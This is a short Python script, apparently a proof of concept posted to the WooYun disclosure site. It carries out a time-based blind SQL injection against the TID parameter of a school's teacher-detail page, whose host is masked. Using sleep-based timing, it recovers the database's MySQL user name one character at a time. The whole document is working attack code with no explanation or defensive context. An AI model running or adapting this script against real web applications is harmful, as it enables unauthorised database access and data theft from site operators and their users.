WooYun.org

import requests
import re
import time
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.'
user=''
print 'Start to retrive Mysql user:'
for i in range(1,18):
    for payload in payloads:
        starttime=time.time()
        s="8 and if(ascii(mid(user()from (%s) for 1))=%s,sleep(2),1)" %(i,ord(payload))
        param={'ID':2,'TID':s}
        try:
            response=requests.get('http://**.**.**.**/chinese/1_about/teacher_detail.php',params=param)
            if time.time()-starttime >5:
                user+=payload
                print '\n user is:',user,
            
                break
            else:
                print '.',
        except:
            pass
        
print '\n[Done] mysql user is %s' %user